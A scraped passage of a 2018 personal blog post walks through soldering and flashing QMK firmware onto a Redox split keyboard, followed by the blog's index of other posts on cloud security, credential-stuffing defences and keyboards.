As you put the diodes through the holes, you want to open the diode legs
enough so that they can hold on their own. The reason why although the
PCB clearly has LEFT written , the switches are going to be soldered on
the other side.</p>
</p>
The back should look like this</figcaption>
The other PCB should look like this</p>
</p>
That’s the left hand side of the keyboard</figcaption>
Now it's time for the TRRS jack and the reset button. The reset button
will help you reset your keyboard's keymap. I used capton tape to hold
them in place. Place the components in the areas marked by the PCB. The
reset button cannot be inserted any other way. Orientation of resistors
doesn't matter</p>
</p>
On this side you can optionally solder the 2
resistors.</figcaption>
Then do the same trick for the pins that will hold together the arduino</p>
</p>
The longer side should show here</figcaption>
From another angle</p>
</p>
Do this on both PCB. If for any reason they are not straight or at the
wrong angle, try to insert the arduino in place. Now is the time to do
it. Feel free to try and desolder or slightly adjust the pins so that
the arduino can fit. However do not</strong> solder the arduino just yet.</p>
It's first time to make sure that it's working and to flash with
QMK</a>!</p>
If you're running linux it might be as simple as</p>

git clone
https://github.com/qmk/qmk_firmware</a></p>
</blockquote>

cd qmk_firmware</p>
</blockquote>

sudo make redox:default:avrdude</p>
</blockquote>
Plug your arduino to your computer , and then short GND and RST like so.</p>
</p>
If you are successful you should see something like.</p>

avrdude: verifying ...

avrdude: 24128 bytes of flash verified</p>
</blockquote>

avrdude: safemode: Fuses OK (E:FB, H:D8, L:FF)</p>
</blockquote>

avrdude done. Thank you.</p>
</blockquote>
Repeat the same on the other arduino as well.</p>
Good you have working , flashed arduinos.</p>
Now before you solder the arduino, you need to solder some switches in
place. Otherwise you won't be able to in the future.</p>
But before we start soldering the switches , check if the case is right.
Some 3D printed cases might have minor imperfections</p>
</p>
I had to cut a couple mm off the case</figcaption>
Now once you make sure that the TRRS jack is accessible it's time to
mount the switches on the case and solder them</p>
</p>
Make sure to mount and solder these switches! I prefer to solder a
couple of switches around the board as well.</p>
</p>
Switches should look like this on the
other side</figcaption>
</p>
Start with these and definitely do the ones under
the arduino</figcaption>
Now orientation of the arduino matters as well. Make sure that the
labels in the arduino match the labels in the PCB (duh!) .</p>
</p>
On the other PCB, the arduino will go the other way (The LEDs and the
die will be facing you)</p>
</p>
The switches should look like this on the other end.</p>
The moment of truth has arrived. Plug your usb cable to your keyboard
and start typing with those keys that you've soldered. Congratulations!</p>
Keep mounting, and soldering these switches. Finally don't forget the
keycaps.</p>

There are a lot of kit keyboards out there. Admittedly I do like the
split kind because, anecdotally , they are more ergonomic and make me
hunch less.</p>
Split Keyboard Parts</strong>

*Parts for building split keyboards like the Nyquist, Viterbi, Levinson,
and
Iris.*keeb.io</a></a>{.js-mixtapeImage
.mixtapeImage .u-ignoreBlock media-id="478050e1c67c59cf9dec14e6fcfaae8e"
thumbnail-img-id="0js7SRoQKd36Fdo5c"
style="background-image: url(https://cdn-images-1.medium.com/fit/c/160/160/0</em>js7SRoQKd36Fdo5c);"}</p>
Kits Archives | MechBoardsUK</strong>

Edit
description</em>mechboards.co.uk</a></a>{.js-mixtapeImage
.mixtapeImage .u-ignoreBlock media-id="e2edc76f9aed0c7f4566bc244041aae9"
thumbnail-img-id="0xJ2KH6TQSQQGXcLO"
style="background-image: url(https://cdn-images-1.medium.com/fit/c/160/160/0</em>xJ2KH6TQSQQGXcLO);"}</p>
and of course a whole subreddit dedicated to it.
https://www.reddit.com/r/MechanicalKeyboard</a></p>
Happy typing.</p>
By Costas Kourmpoglou</a>
on November 4, 2018</a>.</p>
Canonical
link</a></p>}}

costaskou

Eternal Alex Coefficient

How common is security.txt in financial services

Using AWS Certificate Manager as a covert exfiltration mechanism

FUSE</h3> Possibly entering the realm of cursed engineering, instead of scripting, we can turn it into a userspace filesystem.</p>

Why are you expiring my password?

Using OpenStreetMap to plot Thing A and Thing B on a map

Redox keyboard after 6 years

Software option</h1> I recalled that I used avrdude</code> and looking at the git history of redox I could possibly</em> get away with setting up the master as right.</p> Now to install qmk on Ubuntu I did.</p>

Yet Another AWS IAM primer

A practical mnemonic for cybersecurity maturity

Cross-account access in public cloud

A day in Squid with ICAP

On trusting cloud vendors and insider threats

The website that sets the most cookies

Enteprise problem solving

Greek Keno Statistics

Race conditions in Cloud Security Posture Management

Race Conditions in Cloud Security Posture Management</h3> Race conditions - the archenemy of all detective and corrective controls.</p>

From Medium.com to Zola

The shared responsibility of credential stuffing

The shared responsibility of credential stuffing</h3> If your account falls victim to a credential stuffing attack, whose responsibility is it ?</p>

Querying and Visualising OctoDNS records with Neo4j

Querying and Visualising OctoDNS records with Neo4j</h1>

The economics of credential stuffing attacks

The economics of credential stuffing attacks</h1> If you run a website with a login form, you have either experienced a credential stuffing attack or it has gone undetected.</p>

The common pitfall</h3> People will jump in to solve a problem, without having a clear definition of the problem .</p>

Adaptive Solutions</h4> Build behaviour models of your users. Have they logged in from a different country across the world, maybe it's time to send them an email to make sure it's them before letting them in. Can be combined with other solutions mentioned above.</p>

Let credentials be someone else's problem</h4> Social login. If all your users' email addresses end with @gmail.com, maybe it's worth considering adding a Google Sign-in.</p>

Build your own keyboard

Build your own keyboard</h1> Out of all the peripherals out there, I like keyboards the most.</p>

The economics of credential stuffing attacks</h1>
If you run a website with a login form, you have either experienced a credential stuffing attack or it has gone undetected.</p>

Adaptive Solutions</h4>
Build behaviour models of your users. Have they logged in from a different country across the world, maybe it's time to send them an email to make sure it's them before letting them in. Can be combined with other solutions mentioned above.</p>

Let credentials be someone else's problem</h4>
Social login. If all your users' email addresses end with @gmail.com, maybe it's worth considering adding a Google Sign-in.</p>

Build your own keyboard</h1>
Out of all the peripherals out there, I like keyboards the most.</p>